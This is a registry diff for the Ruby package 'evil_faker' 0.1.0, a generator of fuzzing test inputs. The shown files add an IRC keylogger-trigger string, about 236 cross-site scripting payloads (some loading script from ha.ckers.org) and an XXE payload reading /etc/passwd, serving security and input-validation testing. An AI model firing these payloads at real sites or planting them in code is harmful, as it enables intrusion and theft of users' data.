evil_faker 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +62 -0
- data/GENERATORS.md +164 -0
- data/LICENSE.txt +21 -0
- data/NOTICE.md +196 -0
- data/README.md +156 -0
- data/Rakefile +12 -0
- data/lib/evil_faker/base.rb +50 -0
- data/lib/evil_faker/data/blns.txt +742 -0
- data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
- data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
- data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
- data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
- data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
- data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
- data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
- data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
- data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
- data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
- data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
- data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
- data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
- data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
- data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
- data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
- data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
- data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
- data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
- data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
- data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
- data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
- data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
- data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
- data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
- data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
- data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
- data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
- data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
- data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
- data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
- data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
- data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
- data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
- data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
- data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
- data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
- data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
- data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
- data/lib/evil_faker/groups/email.rb +11 -0
- data/lib/evil_faker/groups/emoji.rb +12 -0
- data/lib/evil_faker/groups/exploits.rb +13 -0
- data/lib/evil_faker/groups/filenames.rb +8 -0
- data/lib/evil_faker/groups/headers.rb +12 -0
- data/lib/evil_faker/groups/injection.rb +35 -0
- data/lib/evil_faker/groups/numeric.rb +11 -0
- data/lib/evil_faker/groups/profanity.rb +8 -0
- data/lib/evil_faker/groups/reserved.rb +8 -0
- data/lib/evil_faker/groups/routes.rb +13 -0
- data/lib/evil_faker/groups/rtl.rb +8 -0
- data/lib/evil_faker/groups/terminal.rb +8 -0
- data/lib/evil_faker/groups/unicode.rb +23 -0
- data/lib/evil_faker/groups/zalgo.rb +8 -0
- data/lib/evil_faker/source_base.rb +30 -0
- data/lib/evil_faker/sources/blns.rb +8 -0
- data/lib/evil_faker/sources/fuzzdb.rb +8 -0
- data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
- data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
- data/lib/evil_faker/version.rb +5 -0
- data/lib/evil_faker.rb +13 -0
- data/scripts/blns_build_corpus.rb +159 -0
- data/scripts/fuzzdb_build_corpus.rb +166 -0
- data/scripts/generate_namespaces.rb +87 -0
- data/scripts/intruder_payloads_build_corpus.rb +112 -0
- data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
- data/sig/evil_faker.rbs +4 -0
- metadata +181 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
DCC SEND STARTKEYLOGGER 0 0 0
|
|
@@ -0,0 +1,236 @@
|
|
|
1
|
+
<script>alert(0)</script>
|
|
2
|
+
<script>alert('1');</script>
|
|
3
|
+
<img src=x onerror=alert(2) />
|
|
4
|
+
<svg><script>123<1>alert(3)</script>
|
|
5
|
+
"><script>alert(4)</script>
|
|
6
|
+
'><script>alert(5)</script>
|
|
7
|
+
><script>alert(6)</script>
|
|
8
|
+
</script><script>alert(7)</script>
|
|
9
|
+
< / script >< script >alert(8)< / script >
|
|
10
|
+
onfocus=JaVaSCript:alert(9) autofocus
|
|
11
|
+
" onfocus=JaVaSCript:alert(10) autofocus
|
|
12
|
+
' onfocus=JaVaSCript:alert(11) autofocus
|
|
13
|
+
<script>alert(12)</script>
|
|
14
|
+
<sc<script>ript>alert(13)</sc</script>ript>
|
|
15
|
+
--><script>alert(14)</script>
|
|
16
|
+
";alert(15);t="
|
|
17
|
+
';alert(16);t='
|
|
18
|
+
JavaSCript:alert(17)
|
|
19
|
+
;alert(18);
|
|
20
|
+
src=JaVaSCript:prompt(19)
|
|
21
|
+
"><script>alert(20);</script x="
|
|
22
|
+
'><script>alert(21);</script x='
|
|
23
|
+
><script>alert(22);</script x=
|
|
24
|
+
" autofocus onkeyup="javascript:alert(23)
|
|
25
|
+
' autofocus onkeyup='javascript:alert(24)
|
|
26
|
+
<script\x20type="text/javascript">javascript:alert(25);</script>
|
|
27
|
+
<script\x3Etype="text/javascript">javascript:alert(26);</script>
|
|
28
|
+
<script\x0Dtype="text/javascript">javascript:alert(27);</script>
|
|
29
|
+
<script\x09type="text/javascript">javascript:alert(28);</script>
|
|
30
|
+
<script\x0Ctype="text/javascript">javascript:alert(29);</script>
|
|
31
|
+
<script\x2Ftype="text/javascript">javascript:alert(30);</script>
|
|
32
|
+
<script\x0Atype="text/javascript">javascript:alert(31);</script>
|
|
33
|
+
'`"><\x3Cscript>javascript:alert(32)</script>
|
|
34
|
+
'`"><\x00script>javascript:alert(33)</script>
|
|
35
|
+
ABC<div style="x\x3Aexpression(javascript:alert(34)">DEF
|
|
36
|
+
ABC<div style="x:expression\x5C(javascript:alert(35)">DEF
|
|
37
|
+
ABC<div style="x:expression\x00(javascript:alert(36)">DEF
|
|
38
|
+
ABC<div style="x:exp\x00ression(javascript:alert(37)">DEF
|
|
39
|
+
ABC<div style="x:exp\x5Cression(javascript:alert(38)">DEF
|
|
40
|
+
ABC<div style="x:\x0Aexpression(javascript:alert(39)">DEF
|
|
41
|
+
ABC<div style="x:\x09expression(javascript:alert(40)">DEF
|
|
42
|
+
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41)">DEF
|
|
43
|
+
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42)">DEF
|
|
44
|
+
ABC<div style="x:\xC2\xA0expression(javascript:alert(43)">DEF
|
|
45
|
+
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44)">DEF
|
|
46
|
+
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45)">DEF
|
|
47
|
+
ABC<div style="x:\x0Dexpression(javascript:alert(46)">DEF
|
|
48
|
+
ABC<div style="x:\x0Cexpression(javascript:alert(47)">DEF
|
|
49
|
+
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48)">DEF
|
|
50
|
+
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49)">DEF
|
|
51
|
+
ABC<div style="x:\x20expression(javascript:alert(50)">DEF
|
|
52
|
+
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51)">DEF
|
|
53
|
+
ABC<div style="x:\x00expression(javascript:alert(52)">DEF
|
|
54
|
+
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53)">DEF
|
|
55
|
+
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54)">DEF
|
|
56
|
+
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55)">DEF
|
|
57
|
+
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56)">DEF
|
|
58
|
+
ABC<div style="x:\x0Bexpression(javascript:alert(57)">DEF
|
|
59
|
+
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58)">DEF
|
|
60
|
+
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59)">DEF
|
|
61
|
+
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60)">DEF
|
|
62
|
+
<a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
|
|
63
|
+
<a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
|
|
64
|
+
<a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
|
|
65
|
+
<a href="\x05javascript:javascript:alert(64)" id="fuzzelement1">test</a>
|
|
66
|
+
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(65)" id="fuzzelement1">test</a>
|
|
67
|
+
<a href="\x18javascript:javascript:alert(66)" id="fuzzelement1">test</a>
|
|
68
|
+
<a href="\x11javascript:javascript:alert(67)" id="fuzzelement1">test</a>
|
|
69
|
+
<a href="\xE2\x80\x88javascript:javascript:alert(68)" id="fuzzelement1">test</a>
|
|
70
|
+
<a href="\xE2\x80\x89javascript:javascript:alert(69)" id="fuzzelement1">test</a>
|
|
71
|
+
<a href="\xE2\x80\x80javascript:javascript:alert(70)" id="fuzzelement1">test</a>
|
|
72
|
+
<a href="\x17javascript:javascript:alert(71)" id="fuzzelement1">test</a>
|
|
73
|
+
<a href="\x03javascript:javascript:alert(72)" id="fuzzelement1">test</a>
|
|
74
|
+
<a href="\x0Ejavascript:javascript:alert(73)" id="fuzzelement1">test</a>
|
|
75
|
+
<a href="\x1Ajavascript:javascript:alert(74)" id="fuzzelement1">test</a>
|
|
76
|
+
<a href="\x00javascript:javascript:alert(75)" id="fuzzelement1">test</a>
|
|
77
|
+
<a href="\x10javascript:javascript:alert(76)" id="fuzzelement1">test</a>
|
|
78
|
+
<a href="\xE2\x80\x82javascript:javascript:alert(77)" id="fuzzelement1">test</a>
|
|
79
|
+
<a href="\x20javascript:javascript:alert(78)" id="fuzzelement1">test</a>
|
|
80
|
+
<a href="\x13javascript:javascript:alert(79)" id="fuzzelement1">test</a>
|
|
81
|
+
<a href="\x09javascript:javascript:alert(80)" id="fuzzelement1">test</a>
|
|
82
|
+
<a href="\xE2\x80\x8Ajavascript:javascript:alert(81)" id="fuzzelement1">test</a>
|
|
83
|
+
<a href="\x14javascript:javascript:alert(82)" id="fuzzelement1">test</a>
|
|
84
|
+
<a href="\x19javascript:javascript:alert(83)" id="fuzzelement1">test</a>
|
|
85
|
+
<a href="\xE2\x80\xAFjavascript:javascript:alert(84)" id="fuzzelement1">test</a>
|
|
86
|
+
<a href="\x1Fjavascript:javascript:alert(85)" id="fuzzelement1">test</a>
|
|
87
|
+
<a href="\xE2\x80\x81javascript:javascript:alert(86)" id="fuzzelement1">test</a>
|
|
88
|
+
<a href="\x1Djavascript:javascript:alert(87)" id="fuzzelement1">test</a>
|
|
89
|
+
<a href="\xE2\x80\x87javascript:javascript:alert(88)" id="fuzzelement1">test</a>
|
|
90
|
+
<a href="\x07javascript:javascript:alert(89)" id="fuzzelement1">test</a>
|
|
91
|
+
<a href="\xE1\x9A\x80javascript:javascript:alert(90)" id="fuzzelement1">test</a>
|
|
92
|
+
<a href="\xE2\x80\x83javascript:javascript:alert(91)" id="fuzzelement1">test</a>
|
|
93
|
+
<a href="\x04javascript:javascript:alert(92)" id="fuzzelement1">test</a>
|
|
94
|
+
<a href="\x01javascript:javascript:alert(93)" id="fuzzelement1">test</a>
|
|
95
|
+
<a href="\x08javascript:javascript:alert(94)" id="fuzzelement1">test</a>
|
|
96
|
+
<a href="\xE2\x80\x84javascript:javascript:alert(95)" id="fuzzelement1">test</a>
|
|
97
|
+
<a href="\xE2\x80\x86javascript:javascript:alert(96)" id="fuzzelement1">test</a>
|
|
98
|
+
<a href="\xE3\x80\x80javascript:javascript:alert(97)" id="fuzzelement1">test</a>
|
|
99
|
+
<a href="\x12javascript:javascript:alert(98)" id="fuzzelement1">test</a>
|
|
100
|
+
<a href="\x0Djavascript:javascript:alert(99)" id="fuzzelement1">test</a>
|
|
101
|
+
<a href="\x0Ajavascript:javascript:alert(100)" id="fuzzelement1">test</a>
|
|
102
|
+
<a href="\x0Cjavascript:javascript:alert(101)" id="fuzzelement1">test</a>
|
|
103
|
+
<a href="\x15javascript:javascript:alert(102)" id="fuzzelement1">test</a>
|
|
104
|
+
<a href="\xE2\x80\xA8javascript:javascript:alert(103)" id="fuzzelement1">test</a>
|
|
105
|
+
<a href="\x16javascript:javascript:alert(104)" id="fuzzelement1">test</a>
|
|
106
|
+
<a href="\x02javascript:javascript:alert(105)" id="fuzzelement1">test</a>
|
|
107
|
+
<a href="\x1Bjavascript:javascript:alert(106)" id="fuzzelement1">test</a>
|
|
108
|
+
<a href="\x06javascript:javascript:alert(107)" id="fuzzelement1">test</a>
|
|
109
|
+
<a href="\xE2\x80\xA9javascript:javascript:alert(108)" id="fuzzelement1">test</a>
|
|
110
|
+
<a href="\xE2\x80\x85javascript:javascript:alert(109)" id="fuzzelement1">test</a>
|
|
111
|
+
<a href="\x1Ejavascript:javascript:alert(110)" id="fuzzelement1">test</a>
|
|
112
|
+
<a href="\xE2\x81\x9Fjavascript:javascript:alert(111)" id="fuzzelement1">test</a>
|
|
113
|
+
<a href="\x1Cjavascript:javascript:alert(112)" id="fuzzelement1">test</a>
|
|
114
|
+
<a href="javascript\x00:javascript:alert(113)" id="fuzzelement1">test</a>
|
|
115
|
+
<a href="javascript\x3A:javascript:alert(114)" id="fuzzelement1">test</a>
|
|
116
|
+
<a href="javascript\x09:javascript:alert(115)" id="fuzzelement1">test</a>
|
|
117
|
+
<a href="javascript\x0D:javascript:alert(116)" id="fuzzelement1">test</a>
|
|
118
|
+
<a href="javascript\x0A:javascript:alert(117)" id="fuzzelement1">test</a>
|
|
119
|
+
`"'><img src=xxx:x \x0Aonerror=javascript:alert(118)>
|
|
120
|
+
`"'><img src=xxx:x \x22onerror=javascript:alert(119)>
|
|
121
|
+
`"'><img src=xxx:x \x0Bonerror=javascript:alert(120)>
|
|
122
|
+
`"'><img src=xxx:x \x0Donerror=javascript:alert(121)>
|
|
123
|
+
`"'><img src=xxx:x \x2Fonerror=javascript:alert(122)>
|
|
124
|
+
`"'><img src=xxx:x \x09onerror=javascript:alert(123)>
|
|
125
|
+
`"'><img src=xxx:x \x0Conerror=javascript:alert(124)>
|
|
126
|
+
`"'><img src=xxx:x \x00onerror=javascript:alert(125)>
|
|
127
|
+
`"'><img src=xxx:x \x27onerror=javascript:alert(126)>
|
|
128
|
+
`"'><img src=xxx:x \x20onerror=javascript:alert(127)>
|
|
129
|
+
"`'><script>\x3Bjavascript:alert(128)</script>
|
|
130
|
+
"`'><script>\x0Djavascript:alert(129)</script>
|
|
131
|
+
"`'><script>\xEF\xBB\xBFjavascript:alert(130)</script>
|
|
132
|
+
"`'><script>\xE2\x80\x81javascript:alert(131)</script>
|
|
133
|
+
"`'><script>\xE2\x80\x84javascript:alert(132)</script>
|
|
134
|
+
"`'><script>\xE3\x80\x80javascript:alert(133)</script>
|
|
135
|
+
"`'><script>\x09javascript:alert(134)</script>
|
|
136
|
+
"`'><script>\xE2\x80\x89javascript:alert(135)</script>
|
|
137
|
+
"`'><script>\xE2\x80\x85javascript:alert(136)</script>
|
|
138
|
+
"`'><script>\xE2\x80\x88javascript:alert(137)</script>
|
|
139
|
+
"`'><script>\x00javascript:alert(138)</script>
|
|
140
|
+
"`'><script>\xE2\x80\xA8javascript:alert(139)</script>
|
|
141
|
+
"`'><script>\xE2\x80\x8Ajavascript:alert(140)</script>
|
|
142
|
+
"`'><script>\xE1\x9A\x80javascript:alert(141)</script>
|
|
143
|
+
"`'><script>\x0Cjavascript:alert(142)</script>
|
|
144
|
+
"`'><script>\x2Bjavascript:alert(143)</script>
|
|
145
|
+
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
|
|
146
|
+
"`'><script>-javascript:alert(145)</script>
|
|
147
|
+
"`'><script>\x0Ajavascript:alert(146)</script>
|
|
148
|
+
"`'><script>\xE2\x80\xAFjavascript:alert(147)</script>
|
|
149
|
+
"`'><script>\x7Ejavascript:alert(148)</script>
|
|
150
|
+
"`'><script>\xE2\x80\x87javascript:alert(149)</script>
|
|
151
|
+
"`'><script>\xE2\x81\x9Fjavascript:alert(150)</script>
|
|
152
|
+
"`'><script>\xE2\x80\xA9javascript:alert(151)</script>
|
|
153
|
+
"`'><script>\xC2\x85javascript:alert(152)</script>
|
|
154
|
+
"`'><script>\xEF\xBF\xAEjavascript:alert(153)</script>
|
|
155
|
+
"`'><script>\xE2\x80\x83javascript:alert(154)</script>
|
|
156
|
+
"`'><script>\xE2\x80\x8Bjavascript:alert(155)</script>
|
|
157
|
+
"`'><script>\xEF\xBF\xBEjavascript:alert(156)</script>
|
|
158
|
+
"`'><script>\xE2\x80\x80javascript:alert(157)</script>
|
|
159
|
+
"`'><script>\x21javascript:alert(158)</script>
|
|
160
|
+
"`'><script>\xE2\x80\x82javascript:alert(159)</script>
|
|
161
|
+
"`'><script>\xE2\x80\x86javascript:alert(160)</script>
|
|
162
|
+
"`'><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
|
|
163
|
+
"`'><script>\x0Bjavascript:alert(162)</script>
|
|
164
|
+
"`'><script>\x20javascript:alert(163)</script>
|
|
165
|
+
"`'><script>\xC2\xA0javascript:alert(164)</script>
|
|
166
|
+
<img \x00src=x onerror="alert(165)">
|
|
167
|
+
<img \x47src=x onerror="javascript:alert(166)">
|
|
168
|
+
<img \x11src=x onerror="javascript:alert(167)">
|
|
169
|
+
<img \x12src=x onerror="javascript:alert(168)">
|
|
170
|
+
<img\x47src=x onerror="javascript:alert(169)">
|
|
171
|
+
<img\x10src=x onerror="javascript:alert(170)">
|
|
172
|
+
<img\x13src=x onerror="javascript:alert(171)">
|
|
173
|
+
<img\x32src=x onerror="javascript:alert(172)">
|
|
174
|
+
<img\x47src=x onerror="javascript:alert(173)">
|
|
175
|
+
<img\x11src=x onerror="javascript:alert(174)">
|
|
176
|
+
<img \x47src=x onerror="javascript:alert(175)">
|
|
177
|
+
<img \x34src=x onerror="javascript:alert(176)">
|
|
178
|
+
<img \x39src=x onerror="javascript:alert(177)">
|
|
179
|
+
<img \x00src=x onerror="javascript:alert(178)">
|
|
180
|
+
<img src\x09=x onerror="javascript:alert(179)">
|
|
181
|
+
<img src\x10=x onerror="javascript:alert(180)">
|
|
182
|
+
<img src\x13=x onerror="javascript:alert(181)">
|
|
183
|
+
<img src\x32=x onerror="javascript:alert(182)">
|
|
184
|
+
<img src\x12=x onerror="javascript:alert(183)">
|
|
185
|
+
<img src\x11=x onerror="javascript:alert(184)">
|
|
186
|
+
<img src\x00=x onerror="javascript:alert(185)">
|
|
187
|
+
<img src\x47=x onerror="javascript:alert(186)">
|
|
188
|
+
<img src=x\x09onerror="javascript:alert(187)">
|
|
189
|
+
<img src=x\x10onerror="javascript:alert(188)">
|
|
190
|
+
<img src=x\x11onerror="javascript:alert(189)">
|
|
191
|
+
<img src=x\x12onerror="javascript:alert(190)">
|
|
192
|
+
<img src=x\x13onerror="javascript:alert(191)">
|
|
193
|
+
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
|
|
194
|
+
<img src=x onerror=\x09"javascript:alert(193)">
|
|
195
|
+
<img src=x onerror=\x10"javascript:alert(194)">
|
|
196
|
+
<img src=x onerror=\x11"javascript:alert(195)">
|
|
197
|
+
<img src=x onerror=\x12"javascript:alert(196)">
|
|
198
|
+
<img src=x onerror=\x32"javascript:alert(197)">
|
|
199
|
+
<img src=x onerror=\x00"javascript:alert(198)">
|
|
200
|
+
<a href=javascript:javascript:alert(199)>XXX</a>
|
|
201
|
+
<img src="x` `<script>javascript:alert(200)</script>"` `>
|
|
202
|
+
<img src onerror /" '"= alt=javascript:alert(201)//">
|
|
203
|
+
<title onpropertychange=javascript:alert(202)></title><title title=>
|
|
204
|
+
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(203)></a>">
|
|
205
|
+
<!--[if]><script>javascript:alert(204)</script -->
|
|
206
|
+
<!--[if<img src=x onerror=javascript:alert(205)//]> -->
|
|
207
|
+
<script src="/\%(jscript)s"></script>
|
|
208
|
+
<script src="\\%(jscript)s"></script>
|
|
209
|
+
<IMG """><SCRIPT>alert("206")</SCRIPT>">
|
|
210
|
+
<IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
|
|
211
|
+
<IMG SRC=# onmouseover="alert('208')">
|
|
212
|
+
<IMG SRC= onmouseover="alert('209')">
|
|
213
|
+
<IMG onmouseover="alert('210')">
|
|
214
|
+
<IMG SRC=javascript:alert('211')>
|
|
215
|
+
<IMG SRC=javascript:alert('212')>
|
|
216
|
+
<IMG SRC=javascript:alert('213')>
|
|
217
|
+
<IMG SRC="jav ascript:alert('214');">
|
|
218
|
+
<IMG SRC="jav	ascript:alert('215');">
|
|
219
|
+
<IMG SRC="jav
ascript:alert('216');">
|
|
220
|
+
<IMG SRC="jav
ascript:alert('217');">
|
|
221
|
+
perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
|
|
222
|
+
<IMG SRC="  javascript:alert('219');">
|
|
223
|
+
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
|
224
|
+
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
|
|
225
|
+
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
|
226
|
+
<<SCRIPT>alert("221");//<</SCRIPT>
|
|
227
|
+
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
|
|
228
|
+
<SCRIPT SRC=//ha.ckers.org/.j>
|
|
229
|
+
<IMG SRC="javascript:alert('222')"
|
|
230
|
+
<iframe src=http://ha.ckers.org/scriptlet.html <
|
|
231
|
+
\";alert('223');//
|
|
232
|
+
<u oncopy=alert()> Copy me</u>
|
|
233
|
+
<i onwheel=alert(224)> Scroll over me </i>
|
|
234
|
+
<plaintext>
|
|
235
|
+
http://a/%%30%30
|
|
236
|
+
</textarea><script>alert(225)</script>
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
0
|
|
2
|
+
1
|
|
3
|
+
1.00
|
|
4
|
+
$1.00
|
|
5
|
+
1/2
|
|
6
|
+
1E2
|
|
7
|
+
1E02
|
|
8
|
+
1E+02
|
|
9
|
+
-1
|
|
10
|
+
-1.00
|
|
11
|
+
-$1.00
|
|
12
|
+
-1/2
|
|
13
|
+
-1E2
|
|
14
|
+
-1E02
|
|
15
|
+
-1E+02
|
|
16
|
+
1/0
|
|
17
|
+
0/0
|
|
18
|
+
-2147483648/-1
|
|
19
|
+
-9223372036854775808/-1
|
|
20
|
+
-0
|
|
21
|
+
-0.0
|
|
22
|
+
+0
|
|
23
|
+
+0.0
|
|
24
|
+
0.00
|
|
25
|
+
0..0
|
|
26
|
+
.
|
|
27
|
+
0.0.0
|
|
28
|
+
0,00
|
|
29
|
+
0,,0
|
|
30
|
+
,
|
|
31
|
+
0,0,0
|
|
32
|
+
0.0/0
|
|
33
|
+
1.0/0.0
|
|
34
|
+
0.0/0.0
|
|
35
|
+
1,0/0,0
|
|
36
|
+
0,0/0,0
|
|
37
|
+
--1
|
|
38
|
+
-
|
|
39
|
+
-.
|
|
40
|
+
-,
|
|
41
|
+
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
|
42
|
+
NaN
|
|
43
|
+
Infinity
|
|
44
|
+
-Infinity
|
|
45
|
+
INF
|
|
46
|
+
1#INF
|
|
47
|
+
-1#IND
|
|
48
|
+
1#QNAN
|
|
49
|
+
1#SNAN
|
|
50
|
+
1#IND
|
|
51
|
+
